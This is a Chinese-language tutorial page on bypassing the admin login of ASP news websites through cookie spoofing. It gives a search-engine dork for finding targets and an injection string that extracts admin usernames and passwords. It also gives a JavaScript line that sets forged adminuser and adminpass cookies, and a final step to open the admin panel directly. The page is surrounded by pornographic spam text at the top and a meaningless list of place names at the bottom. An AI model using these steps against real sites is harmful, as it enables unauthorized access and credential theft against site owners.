亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

COOKIES欺騙通殺漏洞進后臺

發布時間:2020-07-31 16:38:59 來源:網絡 閱讀:1487 作者:許肖 欄目:安全技術

在谷歌里搜索:inurl:news_more.asp?lm2=

搜索到如下站點:http://www.*********/news_more.asp?lm2=169

1.將“/news_more.asp?lm2=169”替換成“/admin/admin_news_pl_view.asp?id=1”

2.將 |'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username=' 粘貼到如下框內,修改保存。


3.

COOKIES欺騙通殺漏洞進后臺




alert(document.cookie="adminuser=" + escape("1"));alert(document.cookie="adminpass=" + escape("2")); 代碼拷貝進瀏覽器,回車;(注:標紅1處填上圖中1內容,2處填上圖中2內容)

COOKIES欺騙通殺漏洞進后臺點擊確定。

COOKIES欺騙通殺漏洞進后臺點擊確定。

5.將地址  http://www.*********/admin/admin_news_pl_view.asp?id=1  改成  http://www.*********/admin/admin_index.asp 回車,即可不用登錄直接進入后臺了。如圖,

COOKIES欺騙通殺漏洞進后臺


向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

筠连县| 扶风县| 乌什县| 营口市| 盱眙县| 容城县| 九龙县| 界首市| 大连市| 巨野县| 玉树县| 锡林浩特市| 陕西省| 搜索| 南阳市| 祁连县| 东台市| 遵义县| 望奎县| 淳安县| 安义县| 石首市| 安丘市| 库车县| 简阳市| 麻城市| 临安市| 西藏| 富源县| 肇庆市| 镇赉县| 巢湖市| 乌苏市| 岳普湖县| 曲阜市| 晋中市| 馆陶县| 贺州市| 乌兰察布市| 金沙县| 军事|